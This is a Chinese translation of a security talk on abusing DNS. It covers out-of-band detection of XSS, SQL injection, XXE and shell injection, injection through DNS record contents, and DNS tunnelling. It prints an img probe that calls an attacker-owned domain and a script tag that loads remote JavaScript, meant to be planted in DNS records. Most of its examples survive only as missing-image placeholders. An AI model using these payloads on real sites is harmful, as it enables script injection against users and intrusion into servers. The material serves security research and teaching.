DNS: More than just names

wyzsk發表於2020-08-19
作者: 五道口殺氣 · 2014/10/07 12:32

from:DNS: More than just names

0x00 前言


此文章講得所有內容都是用的DNS本身設計的功能,但是沒有想到可被利用的地方。

討論的範圍僅是利用DNS本身攻擊。

所以不會討論下面的DNS攻擊,如:

DNS汙染 DNS錯誤配置(域傳送等) DNSSec

等等

0x01 DNS是如何工作的


enter image description here

0x02 協議


DNS 型別

有很多不同的記錄型別,但是我們這次只關注A,AAAA,CNAME,MX和TXT記錄。

A :: 獲取一個IP地址

enter image description here

AAAA :: 獲取一個IPv6地址

enter image description here

MX :: 郵箱伺服器

enter image description here

也有,

CNAME - 別名 TXT - 文字資料

別忘了: NB/NBSTAT - NetBIOS

資料包結構:

enter image description here

enter image description here

如果name是以一對“1”bit開頭的,剩下的14bit說明實際域名所在位置相對DNS起始表示欄位的偏移。

例如:如果name是“C0 0F”則表示 “使用出現偏移量為0x0F的名字。

詳細解釋可以參考:http://blog.csdn.net/twelvelee/article/details/6714115

當然,這可能指向自身,造成DNS客戶機/伺服器 無限迴圈。 :)

反向DNS

工作原理相同,但是有PTR的記錄型別(特殊方法格式化ip地址)。

enter image description here

最終你可以甚至為任何你想要的。

這讓我疑惑,什麼是可信的?

enter image description here

偵查與DNS

當遇到只能走dns的資料,其他的都被防火牆擋住的時候:

我擁有skullseclabs.org域名,所有的請求都透過*.skullseclabs.org轉到我的DNS伺服器。

XSS

當你插入的js程式碼在瀏覽者的瀏覽器中執行的時候,你如何知道呢?

如果user-agent內容會被插入執行,

<img src='http://ab12.skullseclabs.org/img.jpg'>

然後檢視我的DNS伺服器 :

enter image description here

證明html程式碼被執行。

為什麼我們關心呢?

因為,資料包看起來完全是正常的。 我們沒有直接連線伺服器,因此防火牆是不會知道的。

enter image description here

最後我們可以知道是或否有伺服器想要連線,不需要成功連線,甚至不需要伺服器嘗試連線。我們還可以做什麼呢?

想要知道誰給你發郵件?

非常簡單用 [email protected]

enter image description here

結論?可能什麼都沒有,或許能找到一個反垃圾郵件。

SQL 注射

兩個可以執行DNS查詢的SQL語句

enter image description here

enter image description here

XXE 漏洞

Google曾經給在他伺服器上找到XXE漏洞的人支付了1W刀。

XXE能夠讓你讀取系統的本地檔案:

enter image description here

同時也可以請求遠端伺服器

enter image description here

我們就有了一種探測XXE漏洞的一種方式:

enter image description here

即使存在防火牆,或者伺服器限制嚴格一些檔案不能讀取,你仍然能夠探測到XXE漏洞。

透過DNS直接獲取資料不太可能,但是用來檢測是否有漏洞是個很有效的辦法。

shell注入

使用這種方法,很容易檢測到shell的注入,適用與不同的平臺上。

插入一個DNS查詢:

enter image description here

(適用於Windows,Linux,BSD)

有人想起來這個周的ShellShock嗎?

enter image description here

Attack over DNS

安全性就是邊界。

受信任的資料在一邊,不受信任的資料在了另外一邊。

當你做了DNS查詢,你又考慮到結果不可信嗎?

看看下面程式碼有安全問題嗎?

enter image description here

把TXT記錄改成如下,最終導致SQL隱碼攻擊:

enter image description here

下面有一篇詳細的DNS注入的writeup

https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-300-whatscat-sql-injection-via-dns

下面是一個有效的CNAME,MX,TXT,PTR等記錄(雙引號和空格不允許)

<script/src='http://javaop.com/test-js.js'></script>

顯然TXT記錄可以做更多的事情。

在2010年的時候我測試三個訪問最多的域名查詢系統的時候全部都有這個漏洞

現在其中的一個仍然有此問題。

DNS隧道

enter image description here

如何傳送資料呢?

enter image description here

來回的通訊:

enter image description here

實際的過程:

enter image description here

作者自己還解決的一些壓縮等問題,最後給出自己寫的工具地址:

https://github.com/iagox86/dnscat2

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章